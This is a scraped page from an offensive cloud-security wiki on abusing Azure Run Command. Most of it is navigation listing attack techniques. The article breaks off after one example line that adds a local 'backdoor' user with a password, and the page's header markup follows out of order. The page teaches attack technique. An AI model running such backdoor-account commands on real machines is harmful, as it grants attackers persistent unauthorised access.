</label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../aws/avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../aws/avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../aws/avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../aws/deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3 checked> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=true> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <label class="md-nav__link md-nav__link--active" for=__toc> <span class=md-ellipsis> Run Command Abuse </span> <span class="md-nav__icon md-icon"></span> </label> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Run Command Abuse </span> </a> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#technique class=md-nav__link> <span class=md-ellipsis> Technique </span> </a> </li> <li class=md-nav__item> <a href=#detection class=md-nav__link> <span class=md-ellipsis> Detection </span> </a> </li> <li class=md-nav__item> <a href=#further-reading class=md-nav__link> <span class=md-ellipsis> Further reading </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=../soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#technique class=md-nav__link> <span class=md-ellipsis> Technique </span> </a> </li> <li class=md-nav__item> <a href=#detection class=md-nav__link> <span class=md-ellipsis> Detection </span> </a> </li> <li class=md-nav__item> <a href=#further-reading class=md-nav__link> <span class=md-ellipsis> Further reading </span> </a> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by lsass-exe</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/azure/run-command-abuse.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1>Run Command Abuse</h1> <div class="grid cards"> <ul> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 4a4 4 0 0 1 4 4 4 4 0 0 1-4 4 4 4 0 0 1-4-4 4 4 0 0 1 4-4m0 10c4.42 0 8 1.79 8 4v2H4v-2c0-2.21 3.58-4 8-4"/></svg></span> <strong>Original Research</strong></p> <hr> <p><a href=https://cloud.google.com/blog/topics/threat-intelligence/azure-run-command-dummies/ >Azure Run Command for Dummies</a> by <a href=https://cloud.google.com/ >Adrien Bataille, Anders Vejlby, Jared Scott Wilson, Nader Zaveri</a></p> </li> </ul> </div> <h2 id=technique>Technique<a class=headerlink href=#technique title="Permanent link">&para;</a></h2> <p><strong>MITRE:</strong> Execution &gt; Cloud Administration Command</p> <p><a href=https://learn.microsoft.com/en-us/azure/virtual-machines/run-command-overview>Run Command</a> is an operation within Azure that allows administrators to run scripts on Windows and Linux virtual machines via the:</p> <ul> <li>Azure Portal,</li> <li>Azure CLI, and</li> <li>PowerShell</li> </ul> <p>Once configured the script is run via the virtual machine agent installed on the virtual machine.</p> <p>A script ran via Run Command runs with the following privleges:</p> <ul> <li><code>System</code> on Windows, and as </li> <li><code>root</code> on Linux</li> </ul> <p>In order to use this functionality an identity must have the following role assigned to it: <code>Microsoft.Compute/virtualMachines/runCommands/action</code></p> <p>This example focuses on the abuse of Run Commands against Windows hosts, however, the same methodology can be used to target Linux based virtual machines.</p> <p>The script that this example will utilise is as follows:</p> <div class=highlight><pre><span></span><code>net user /add backdoor BingoBango123!
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#technique class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Run Command Abuse </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 